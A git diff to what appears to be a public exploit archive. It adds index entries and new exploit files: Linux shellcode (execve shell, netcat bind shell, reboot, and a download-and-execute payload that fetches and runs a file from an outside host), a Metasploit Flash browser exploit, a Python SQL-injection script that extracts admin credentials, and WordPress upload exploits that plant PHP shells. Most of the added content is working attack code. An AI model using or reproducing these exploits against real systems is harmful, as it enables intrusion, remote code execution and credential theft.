diff --git a/files.csv b/files.csv index 5ca0a8e9b..627ac1d6e 100755 --- a/files.csv +++ b/files.csv @@ -33375,7 +33375,7 @@ id,file,description,date,author,platform,type,port 36980,platforms/windows/local/36980.py,"VideoCharge Express 3.16.3.04 - BOF Exploit",2015-05-11,evil_comrade,windows,local,0 36981,platforms/windows/local/36981.py,"VideoCharge Professional + Express Vanilla 3.18.4.04 - BOF Exploit",2015-05-11,evil_comrade,windows,local,0 36982,platforms/windows/local/36982.py,"VideoCharge Vanilla 3.16.4.06 - BOF Exploit",2015-05-11,evil_comrade,windows,local,0 -37186,platforms/php/webapps/37186.txt,"vfront-0.99.2 CSRF & Persistent XSS",2015-06-03,"John Page",php,webapps,0 +37186,platforms/php/webapps/37186.txt,"VFront 0.99.2 CSRF & Persistent XSS",2015-06-03,"John Page",php,webapps,0 36984,platforms/windows/remote/36984.py,"i.FTP 2.21 - Time Field SEH Exploit",2015-05-11,"Revin Hadi Saputra",windows,remote,0 37006,platforms/java/webapps/37006.txt,"Minify 2.1.x 'g' Parameter Cross Site Scripting Vulnerability",2012-03-21,"Ayoub Aboukir",java,webapps,0 36986,platforms/php/webapps/36986.txt,"Pluck 4.7 - Directory Traversal",2015-05-11,"Wad Deek",php,webapps,0 @@ -33612,6 +33612,10 @@ id,file,description,date,author,platform,type,port 37228,platforms/php/webapps/37228.txt,"concrete5 index.php/tools/required/files/add_to searchInstance Parameter XSS",2012-05-20,AkaStep,php,webapps,0 37229,platforms/php/webapps/37229.txt,"concrete5 index.php/tools/required/files/permissions searchInstance Parameter XSS",2012-05-20,AkaStep,php,webapps,0 37230,platforms/php/webapps/37230.txt,"concrete5 index.php/tools/required/dashboard/sitemap_data.php Multiple Parameter XSS",2012-05-20,AkaStep,php,webapps,0 +37350,platforms/php/webapps/37350.txt,"AdaptCMS 2.0.2 TinyURL Plugin index.php id Parameter SQL Injection",2012-06-03,KedAns-Dz,php,webapps,0 +37351,platforms/php/webapps/37351.txt,"AdaptCMS 2.0.2 TinyURL Plugin admin.php Multiple Parameter SQL Injection",2012-06-03,KedAns-Dz,php,webapps,0 +37352,platforms/php/webapps/37352.txt,"Ignite Solutions CMS 'car-details.php' SQL Injection Vulnerability",2012-06-03,Am!r,php,webapps,0 +37353,platforms/php/webapps/37353.php,"Nmedia WordPress Member Conversation Plugin 1.35.0 'doupload.php' Arbitrary File Upload Vulnerability",2015-06-05,"Sammy FORGIT",php,webapps,0 37248,platforms/php/webapps/37248.txt,"Milw0rm Clone Script 1.0 - (Time Based) SQLi",2015-06-09,Pancaker,php,webapps,0 37251,platforms/lin_x86/shellcode/37251.asm,"Linux/x86 - execve /bin/sh shellcode (21 bytes)",2015-06-10,B3mB4m,lin_x86,shellcode,0 37237,platforms/hardware/webapps/37237.txt,"D-Link DSL-2780B DLink_1.01.14 - Unauthenticated Remote DNS Change",2015-06-08,"Todor Donev",hardware,webapps,0 @@ -33670,6 +33674,7 @@ id,file,description,date,author,platform,type,port 37285,platforms/lin_x86/shellcode/37285.txt,"Linux/x86 - chmod() 777 /etc/shadow & exit() (33 bytes)",2015-06-15,B3mB4m,lin_x86,shellcode,0 37286,platforms/windows/dos/37286.py,"Filezilla 3.11.0.2 - SFTP Module Denial of Service Vulnerability",2015-06-15,3unnym00n,windows,dos,0 37287,platforms/windows/dos/37287.html,"Cisco AnyConnect Secure Mobility 2.x_ 3.x_ 4.x - Client DoS PoC",2015-06-15,LiquidWorm,windows,dos,0 +37354,platforms/php/webapps/37354.py,"Bigware Shop 2.1x 'main_bigware_54.php' SQL Injection Vulnerability",2012-06-05,rwenzel,php,webapps,0 37289,platforms/lin_x86/shellcode/37289.txt,"Linux/x86 - execve /bin/sh shellcode (21 bytes) (2)",2015-06-15,B3mB4m,lin_x86,shellcode,0 37290,platforms/php/webapps/37290.txt,"Milw0rm Clone Script 1.0 - (Auth Bypass) SQL Injection Vulnerability",2015-06-15,"walid naceri",php,webapps,0 37291,platforms/windows/dos/37291.py,"Putty 0.64 - Denial of Service Vulnerability",2015-06-15,3unnym00n,windows,dos,0 @@ -33691,13 +33696,30 @@ id,file,description,date,author,platform,type,port 37326,platforms/windows/dos/37326.py,"WinylPlayer 3.0.3 Memory Corruption PoC",2015-06-19,"Rajganesh Pandurangan",windows,dos,0 37327,platforms/windows/dos/37327.py,"HansoPlayer 3.4.0 Memory Corruption PoC",2015-06-19,"Rajganesh Pandurangan",windows,dos,0 37328,platforms/php/webapps/37328.php,"Small-Cms 'hostname' Parameter Remote PHP Code Injection Vulnerability",2012-05-26,L3b-r1'z,php,webapps,0 +37358,platforms/lin_x86/shellcode/37358.c,"Linux/x86 - mkdir HACK & chmod 777 and exit(0) - 29 Bytes",2015-06-24,B3mB4m,lin_x86,shellcode,0 +37359,platforms/lin_x86/shellcode/37359.c,"Linux/x86 - Netcat BindShell Port 5555 - 60 bytes",2015-06-24,B3mB4m,lin_x86,shellcode,0 +37355,platforms/php/webapps/37355.txt,"MyBB 1.6.8 'member.php' SQL Injection Vulnerability",2012-06-06,MR.XpR,php,webapps,0 +37356,platforms/php/webapps/37356.txt,"WordPress Email Newsletter Plugin 8.0 'option' Parameter Information Disclosure Vulnerability",2012-06-07,"Sammy FORGIT",php,webapps,0 +37357,platforms/php/webapps/37357.php,"WordPress VideoWhisper Video Presentation Plugin 3.17 'vw_upload.php' Arbitrary File Upload Vulnerability",2012-06-07,"Sammy FORGIT",php,webapps,0 37337,platforms/php/webapps/37337.txt,"WHMCompleteSolution (WHMCS) 5.0 Multiple Application Function CSRF",2012-05-31,"Shadman Tanjim",php,webapps,0 37338,platforms/php/webapps/37338.txt,"WHMCompleteSolution (WHMCS) 5.0 knowledgebase.php search Parameter XSS",2012-05-31,"Shadman Tanjim",php,webapps,0 37339,platforms/php/webapps/37339.txt,"VoipNow Professional 2.5.3 'nsextt' Parameter Cross Site Scripting Vulnerability",2012-06-01,Aboud-el,php,webapps,0 37340,platforms/php/webapps/37340.html,"TinyCMS 1.3 File Upload CSRF",2012-06-03,KedAns-Dz,php,webapps,0 37341,platforms/php/webapps/37341.txt,"TinyCMS 1.3 index.php page Parameter Traversal Local File Inclusion",2012-06-03,KedAns-Dz,php,webapps,0 37342,platforms/php/webapps/37342.txt,"TinyCMS 1.3 admin/admin.php do Parameter Traversal Local File Inclusion",2012-06-03,KedAns-Dz,php,webapps,0 +37343,platforms/windows/dos/37343.py,"Seagate Dashboard 4.0.21.0 - Crash PoC",2015-06-23,HexTitan,windows,dos,0 +37344,platforms/windows/local/37344.py,"KMPlayer 3.9.1.136 - Capture Unicode Buffer Overflow (ASLR Bypass)",2015-06-23,"Naser Farhadi",windows,local,0 +37360,platforms/php/webapps/37360.txt,"GeniXCMS 0.0.3 - XSS Vulnerabilities",2015-06-24,"John Page",php,webapps,80 37346,platforms/windows/dos/37346.txt,"Paintshop Pro X7 GIF Conversion Heap Memory Corruption Vulnerabilities (LZWMinimumCodeSize)",2015-06-23,"Francis Provencher",windows,dos,0 37347,platforms/windows/dos/37347.txt,"Photoshop CC2014 and Bridge CC 2014 Gif Parsing Memory Corruption Vulnerabilities",2015-06-23,"Francis Provencher",windows,dos,0 37348,platforms/windows/dos/37348.txt,"Photoshop CC2014 and Bridge CC 2014 PNG Parsing Memory Corruption Vulnerabilities",2015-06-23,"Francis Provencher",windows,dos,0 37349,platforms/windows/dos/37349.txt,"Photoshop CC2014 and Bridge CC 2014 PDF Parsing Memory Corruption Vulnerabilities",2015-06-23,"Francis Provencher",windows,dos,0 +37361,platforms/php/webapps/37361.txt,"WordPress Huge-IT Slider 2.7.5 - Multiple Vulnerabilities",2015-06-24,"i0akiN SEC-LABORATORY",php,webapps,0 +37362,platforms/lin_x86-64/shellcode/37362.c,"linux/x86-64 execve(/bin/sh) 30 bytes",2015-06-24,"Bill Borskey",lin_x86-64,shellcode,0 +37363,platforms/php/webapps/37363.txt,"GeniXCMS 0.0.3 - register.php SQL Injection Vulnerabilities",2015-06-24,cfreer,php,webapps,80 +37364,platforms/php/webapps/37364.txt,"Joomla SimpleImageUpload - Arbitrary File Upload",2015-06-24,CrashBandicot,php,webapps,80 +37365,platforms/lin_x86/shellcode/37365.c,"Linux/x86 Downloand & Execute",2015-06-24,B3mB4m,lin_x86,shellcode,0 +37366,platforms/lin_x86/shellcode/37366.c,"Linux/x86 Reboot - 28 Bytes",2015-06-24,B3mB4m,lin_x86,shellcode,0 +37367,platforms/windows/local/37367.rb,"Windows ClientCopyImage Win32k Exploit",2015-06-24,metasploit,windows,local,0 +37368,platforms/multiple/remote/37368.rb,"Adobe Flash Player ShaderJob Buffer Overflow",2015-06-24,metasploit,multiple,remote,0 +37369,platforms/php/webapps/37369.txt,"Vesta Control Panel 0.9.8 - OS Command Injection",2015-06-24,"High-Tech Bridge SA",php,webapps,0 diff --git a/platforms/lin_x86-64/shellcode/37362.c b/platforms/lin_x86-64/shellcode/37362.c new file mode 100755 index 000000000..716da04ca --- /dev/null +++ b/platforms/lin_x86-64/shellcode/37362.c @@ -0,0 +1,33 @@ +/* +William Borskey 2015 +Compile with: gcc -fno-stack-protector -z execstack Shellcode written in 64 bit Intel assembly using yasm. + + 1 ; int execve(const char *filename, char *const argv[], char *const envp[]); + 2 BITS 64 + 3 + 4 section .text + 5 global start + 6 + 7 start: + 8 mov rcx, 0x1168732f6e69622f ;move the immediate value /bin/sh in hex in + 9 ;little endian byte order into rcx padded with 11 + 10 shl rcx, 0x08 ;left shift to trim off the two bytes of padding + 11 shr rcx, 0x08 ;ringht shift to re order string + 12 push rcx ;push the immediate value stored in rcx onto the stack + 13 lea rdi, [rsp] ;load the address of the string that is on the stack into rsi + 14 xor rdx, rdx ;zero out rdx for an execve argument + 15 mov al, 0x3b ;move 0x3b (execve sycall) into al to avoid nulls + 16 syscall ;make the syscall +*/ + +char shellcode[] = "\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05"; + +int main(int argc, char **argv) +{ + int (*func)(); + func = (int (*)()) shellcode; + (int)(*func)(); + return 0; +} + + diff --git a/platforms/lin_x86/shellcode/37358.c b/platforms/lin_x86/shellcode/37358.c new file mode 100755 index 000000000..73515536f --- /dev/null +++ b/platforms/lin_x86/shellcode/37358.c @@ -0,0 +1,42 @@ +#Greetz : Bomberman(Leader) +#Author : B3mB4m + + +#Auxiliary tools (50% time gain !) +#https://github.com/b3mb4m/Shellcode/blob/master/Auxiliary/convertstack.py +#https://github.com/b3mb4m/Shellcode/blob/master/Auxiliary/ASMtoShellcode.py + + +Disassembly of section .text: + +08048060 <.text>: + 8048060: 31 c0 xor %eax,%eax + 8048062: 50 push %eax + 8048063: 68 48 41 43 4b push $0x4b434148 #You can change it ! + 8048068: b0 27 mov $0x27,%al + 804806a: 89 e3 mov %esp,%ebx + 804806c: 66 41 inc %cx + 804806e: cd 80 int $0x80 + 8048070: b0 0f mov $0xf,%al + 8048072: 66 b9 ff 01 mov $0x1ff,%cx + 8048076: cd 80 int $0x80 + 8048078: 31 c0 xor %eax,%eax + 804807a: 40 inc %eax + 804807b: cd 80 int $0x80 + + +#include +#include + +char *shellcode = +"\x31\xc0\x50\x68\x48\x41\x43\x4b\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80"; + + +//First push always start with byte 68.Also mov b0. +//Than just push your string between byte 68 - b0 ! :) +//Here it is -> \x68 "\x48\x41\x43\x4b\" xb0 GOODLUCK ! + + +int main(void){ + fprintf(stdout,"Length: %d\n",strlen(shellcode)); + (*(void(*)()) shellcode)();} diff --git a/platforms/lin_x86/shellcode/37359.c b/platforms/lin_x86/shellcode/37359.c new file mode 100755 index 000000000..1af3adca4 --- /dev/null +++ b/platforms/lin_x86/shellcode/37359.c @@ -0,0 +1,54 @@ +#Greetz : Bomberman(Leader) +#Author : B3mB4m +#Concat : Do not disturb - Bomberman + + +#Netcat openbsd version (which is default installed in ubuntu) have +not "-e" option. +#So if you are trying to test on ubuntu(like me) you must change +version to traditional. + +#Typing this: + #1) sudo update-alternatives --config nc + #2) Select the option /bin/nc.traditional + + +Disassembly of section .text: + +08048060 <.text>: + 8048060: 31 c0 xor %eax,%eax + 8048062: 50 push %eax + 8048063: 68 6e 2f 6e 63 push $0x636e2f6e + 8048068: 68 2f 2f 62 69 push $0x69622f2f + 804806d: 89 e3 mov %esp,%ebx + 804806f: 50 push %eax + 8048070: 68 35 35 35 35 push $0x35353535 #PORT + 8048075: 68 2d 6c 74 70 push $0x70746c2d + 804807a: 89 e1 mov %esp,%ecx + 804807c: 50 push %eax + 804807d: 68 2f 2f 73 68 push $0x68732f2f + 8048082: 68 2f 62 69 6e push $0x6e69622f + 8048087: 68 2d 65 2f 2f push $0x2f2f652d + 804808c: 89 e2 mov %esp,%edx + 804808e: 50 push %eax + 804808f: 52 push %edx + 8048090: 51 push %ecx + 8048091: 53 push %ebx + 8048092: 89 e7 mov %esp,%edi + 8048094: b0 0b mov $0xb,%al + 8048096: 89 f9 mov %edi,%ecx + 8048098: 31 d2 xor %edx,%edx + 804809a: cd 80 int $0x80 + +#include +#include + +char *loveme = "\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x35\x35\x35" + "\x35\x68\x2d\x6c\x74\x70\x89\xe1\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68" + "\x2d\x65\x2f\x2f\x89\xe2\x50\x52\x51\x53\x89\xe7\xb0\x0b\x89\xf9\x31\xd2\xcd\x80"; + +// "\x68-----\x35\x35\x35\x35\-------x68\" There port change however you like. + +int main(void){ + fprintf(stdout,"Length: %d\n",strlen(loveme)); + (*(void(*)()) loveme)();} diff --git a/platforms/lin_x86/shellcode/37365.c b/platforms/lin_x86/shellcode/37365.c new file mode 100755 index 000000000..5339d3b7f --- /dev/null +++ b/platforms/lin_x86/shellcode/37365.c @@ -0,0 +1,129 @@ +Linux/x86 Downloand&Execute + + +------WE ARE BOMBERMANS---- +#Greetz : Bomberman(Leader) +#Author : B3mB4m +#Just the two of us LOL. + + +Info! + This shellcode has two part.Because when using fork in asm, ocurrs problems in shellcode. + So you can use multiprocessing to do this. + If you dont want problem while running shellcodes. + I did not calculate len bytes.Because its completely depend url length. + + TESTED ON : Ubuntu 14.04 + + +/* +The NX Bit prevents random data being executed on modern processors and OSs. +To get around it, call mprotect. +You should also define your shellcode as a binary instead of a character string. + +-By Philipp Hagemeister + +Emmy goes to Philipp Hagemeister ! ! (clap clap clap clap) +Special thanks :) .. +*/ + +;https://github.com/b3mb4m/Shellcode/blob/master/Auxiliary/convertstack.py +;Use it convert string to stack. + + +#Remote file download# + +08048060 <.text>: + 8048060: 31 c0 xor %eax,%eax + 8048062: 50 push %eax + 8048063: 68 68 65 6c 6c push $0x6c6c6568 + 8048068: 68 62 34 6d 2f push $0x2f6d3462 + 804806d: 68 2f 62 33 6d push $0x6d33622f + 8048072: 68 6d 2f 2f 2f push $0x2f2f2f6d + 8048077: 68 73 2e 63 6f push $0x6f632e73 + 804807c: 68 78 69 6d 61 push $0x616d6978 + 8048081: 68 33 2e 6d 65 push $0x656d2e33 ;3.meximas.com/b3mb4m/hell + 8048086: 89 e1 mov %esp,%ecx + 8048088: 50 push %eax + 8048089: 68 77 67 65 74 push $0x74656777 + 804808e: 68 62 69 6e 2f push $0x2f6e6962 + 8048093: 68 75 73 72 2f push $0x2f727375 + 8048098: 68 2f 2f 2f 2f push $0x2f2f2f2f + 804809d: 89 e3 mov %esp,%ebx + 804809f: 50 push %eax + 80480a0: 50 push %eax + 80480a1: 51 push %ecx + 80480a2: 53 push %ebx + 80480a3: 89 e1 mov %esp,%ecx + 80480a5: b0 0b mov $0xb,%al + 80480a7: cd 80 int $0x80 + 80480a9: 31 c0 xor %eax,%eax + 80480ab: fe c0 inc %al + 80480ad: cd 80 int $0x80 + + +#Download&Chmod777&Execute + +08048060 <.text>: + 8048060: 31 c0 xor %eax,%eax + 8048062: 31 c9 xor %ecx,%ecx + 8048064: 50 push %eax + 8048065: 68 68 65 6c 6c push $0x6c6c6568 ;file name(hell) + 804806a: b0 0f mov $0xf,%al + 804806c: 89 e3 mov %esp,%ebx + 804806e: 66 b9 ff 01 mov $0x1ff,%cx + 8048072: cd 80 int $0x80 + 8048074: 31 c0 xor %eax,%eax + 8048076: 50 push %eax + 8048077: 89 e2 mov %esp,%edx + 8048079: 53 push %ebx + 804807a: 89 e1 mov %esp,%ecx + 804807c: b0 0b mov $0xb,%al + 804807e: cd 80 int $0x80 + + + +Than lets back python. + + +#!/usr/bin/python + +import ctypes +import multiprocessing +import time + + +def download(firstone="Capture"): + if firstone != "Capture": + #Download codes. + shellcode_data = (b"\x31\xc0\x50\x68\x68\x65\x6c\x6c\x68\x62\x34\x6d\x2f\x68\x2f\x62" + b"\x33\x6d\x68\x6d\x2f\x2f\x2f\x68\x73\x2e\x63\x6f\x68\x78\x69\x6d\x61\x68\x33\x2e" + b"\x6d\x65\x89\xe1\x50\x68\x77\x67\x65\x74\x68\x62\x69\x6e\x2f\x68\x75\x73\x72\x2f" + b"\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x50\x51\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xfe" + b"\xc0\xcd\x80") + else: + time.sleep(30)#Time delay, depend ur file size. + shellcode_data = (b"\x31\xc0\x50\x68\x68\x65\x6c\x6c\xb0\x0f\x89\xe3\x66\xb9\xff\x01" + b"\xcd\x80\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80") + #Chomd777 and execute it. + shellcode = ctypes.c_char_p(shellcode_data) + function = ctypes.cast(shellcode, ctypes.CFUNCTYPE(None)) + + addr = ctypes.cast(function, ctypes.c_void_p).value + libc = ctypes.CDLL('libc.so.6') + pagesize = libc.getpagesize() + addr_page = (addr // pagesize) * pagesize + for page_start in range(addr_page, addr + len(shellcode_data), pagesize): + assert libc.mprotect(page_start, pagesize, 0x7) == 0 + function() + + +for x in xrange(0, 2): + if x == 0: + first = multiprocessing.Process(target=download, args=("KnockKnock",)) + else: + first = multiprocessing.Process(target=download) + first.start() + + +#Bomberman Team presented !! \ No newline at end of file diff --git a/platforms/lin_x86/shellcode/37366.c b/platforms/lin_x86/shellcode/37366.c new file mode 100755 index 000000000..4be8eae2e --- /dev/null +++ b/platforms/lin_x86/shellcode/37366.c @@ -0,0 +1,34 @@ +Linux/x86 Reboot - 28Bytes + + +#Greetz : Bomberman(Leader) +#Author : B3mB4m +#Tested ON : Ubuntu 14.04 + + +08048060 <.text>: + 8048060: 31 c0 xor %eax,%eax + 8048062: 50 push %eax + 8048063: 68 62 6f 6f 74 push $0x746f6f62 + 8048068: 68 6e 2f 72 65 push $0x65722f6e + 804806d: 68 2f 73 62 69 push $0x6962732f + 8048072: 89 e3 mov %esp,%ebx + 8048074: 50 push %eax + 8048075: 53 push %ebx + 8048076: 89 e1 mov %esp,%ecx + 8048078: b0 0b mov $0xb,%al + 804807a: cd 80 int $0x80 + + + +#include +#include + +char *shellcode = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e\x2f\x72\x65" +"\x68\x2f\x73\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; + + +int main(void){ + fprintf(stdout,"Length: %d\n",strlen(shellcode)); + (*(void(*)()) shellcode)(); +} diff --git a/platforms/multiple/remote/37368.rb b/platforms/multiple/remote/37368.rb new file mode 100755 index 000000000..bd19d1d36 --- /dev/null +++ b/platforms/multiple/remote/37368.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player ShaderJob Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow vulnerability related to the ShaderJob workings on + Adobe Flash Player. The vulnerability happens when trying to apply a Shader setting up the + same Bitmap object as src and destination of the ShaderJob. Modifying the "width" attribute + of the ShaderJob after starting the job it's possible to create a buffer overflow condition + where the size of the destination buffer and the length of the copy are controlled. This + module has been tested successfully on: + * Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169. + * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.169. + * Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169. + * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.457. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Chris Evans', # Vulnerability discovery + 'Unknown', # Exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2015-3090'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-09.html'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2015/05/angler_ek_exploiting.html'], + ['URL', 'http://malware.dontneedcoffee.com/2015/05/cve-2015-3090-flash-up-to-1700169-and.html'], + ['URL', 'http://www.brooksandrus.com/blog/2009/03/11/bilinear-resampling-with-flash-player-and-pixel-bender/'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['win', 'linux'], + 'Arch' => [ARCH_X86], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :arch => ARCH_X86, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::LINUX || + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda do |ua| + case target.name + when 'Windows' + return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF + when 'Linux' + return true if ua == Msf::HttpClients::FF + end + + false + end, + :flash => lambda do |ver| + case target.name + when 'Windows' + return true if ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.169') + when 'Linux' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.457') + end + + false + end + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win' + } + ], + [ 'Linux', + { + 'Platform' => 'linux' + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'May 12 2015', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] + + if target.name =~ /Windows/ + platform_id = 'win' + elsif target.name =~ /Linux/ + platform_id = 'linux' + end + + html_template = %Q| + + + + + + + + + + + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3090', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end +end \ No newline at end of file diff --git a/platforms/php/webapps/37350.txt b/platforms/php/webapps/37350.txt new file mode 100755 index 000000000..444901ff9 --- /dev/null +++ b/platforms/php/webapps/37350.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/53764/info + +AdaptCMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +AdaptCMS 2.0.2 is vulnerable; other versions may also be affected. + +http://www.example.com/index.php?view=plugins&plugin=tinyurl&module=go&id='1337 AND 2=1 UNION SELECT 1,2,3,4,5-- \ No newline at end of file diff --git a/platforms/php/webapps/37351.txt b/platforms/php/webapps/37351.txt new file mode 100755 index 000000000..95979926e --- /dev/null +++ b/platforms/php/webapps/37351.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/53764/info + +AdaptCMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +AdaptCMS 2.0.2 is vulnerable; other versions may also be affected. + +http://www.example.com/admin.php?view=plugins&do=load&plugin=tinyurl&module=delete&id=[ + SQL Injection Code + ] \ No newline at end of file diff --git a/platforms/php/webapps/37352.txt b/platforms/php/webapps/37352.txt new file mode 100755 index 000000000..82d71c8ee --- /dev/null +++ b/platforms/php/webapps/37352.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/53771/info + +Ignite Solutions CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/car-details.php?ID=[Sql] \ No newline at end of file diff --git a/platforms/php/webapps/37353.php b/platforms/php/webapps/37353.php new file mode 100755 index 000000000..801aa7412 --- /dev/null +++ b/platforms/php/webapps/37353.php @@ -0,0 +1,31 @@ +source: http://www.securityfocus.com/bid/53790/info + +The Nmedia WordPress Member Conversation plug-in for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. + +An attacker can exploit this vulnerability to upload arbitrary PHP code and run it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. + +Nmedia WordPress Member Conversation 1.35.0 is vulnerable; other versions may also be affected. + +"@$uploadfile", + 'folder'=>"/test/")); +curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); +$postResult = curl_exec($ch); +curl_close($ch); +print "$postResult"; + +?> + +Shell Access : +http://www.exemple.com/wordpress/wp-content/uploads/user_uploads/test/lo.php + +lo.php + \ No newline at end of file diff --git a/platforms/php/webapps/37354.py b/platforms/php/webapps/37354.py new file mode 100755 index 000000000..891c331ba --- /dev/null +++ b/platforms/php/webapps/37354.py @@ -0,0 +1,31 @@ +source: http://www.securityfocus.com/bid/53810/info + +Bigware Shop is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +Bigware Shop versions prior to 2.17 are vulnerable. + +#!/usr/bin/python +# -*- coding: utf-8 -*- +import httplib2 +import urllib +import sys + +# insert your target link here (with trailing slash) +url = "http://www.example.com/" +h = httplib2.Http() + +# send sql injection +headerdata = {'Content-type': 'application/x-www-form-urlencoded'} +sqli = '2 AND (SELECT 1 FROM(SELECT COUNT(*), CONCAT((SELECT former_email_address FROM former where former_groups_id like 1 LIMIT 0,1), CHAR(58), (SELECT + former_password FROM former where former_groups_id like 1 LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)' +postdata = { 'voteid' : '2', \ + 'pollid' : sqli, \ + 'x' : '1', \ + 'y' : '1', \ + 'forwarder' : 'http%3a%2f%2fdemoshop.bigware.org%2fmain_bigware_53.php%3fop%3dresults%26pollid%3d2'} +response, content = h.request(url + "main_bigware_54.php", "POST", headers=headerdata, body=urllib.urlencode(postdata)) +print content, "\n", "\n" +print "If there is an error stating the duplicate admin entry, your shop is vulnerable." + diff --git a/platforms/php/webapps/37355.txt b/platforms/php/webapps/37355.txt new file mode 100755 index 000000000..129bf3e7e --- /dev/null +++ b/platforms/php/webapps/37355.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/53814/info + +MyBB is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. + +A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. + +MyBB 1.6.8 is vulnerable; other versions may also be affected. + +http://www.example.com/forums/member.php?action=profile&uid=[Sqli] \ No newline at end of file diff --git a/platforms/php/webapps/37356.txt b/platforms/php/webapps/37356.txt new file mode 100755 index 000000000..5f2d8573a --- /dev/null +++ b/platforms/php/webapps/37356.txt @@ -0,0 +1,15 @@ +source: http://www.securityfocus.com/bid/53850/info + +The Email Newsletter plugin for WordPress is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data. + +An attackers can exploit this issue to obtain sensitive information that may aid in further attacks. + +Email Newsletter 8.0 is vulnerable; other versions may also be affected. + +http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=registered_user + +http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=view_suscriber + +http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=commentposed _user + +http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=contact_user \ No newline at end of file diff --git a/platforms/php/webapps/37357.php b/platforms/php/webapps/37357.php new file mode 100755 index 000000000..5ad6bb71b --- /dev/null +++ b/platforms/php/webapps/37357.php @@ -0,0 +1,23 @@ +source: http://www.securityfocus.com/bid/53851/info + +The VideoWhisper Video Presentation plug-in for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. + +An attacker can exploit this vulnerability to upload arbitrary PHP code and run it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. + +VideoWhisper Video Presentation 3.17 is vulnerable; other versions may also be affected. + +"@$uploadfile", + 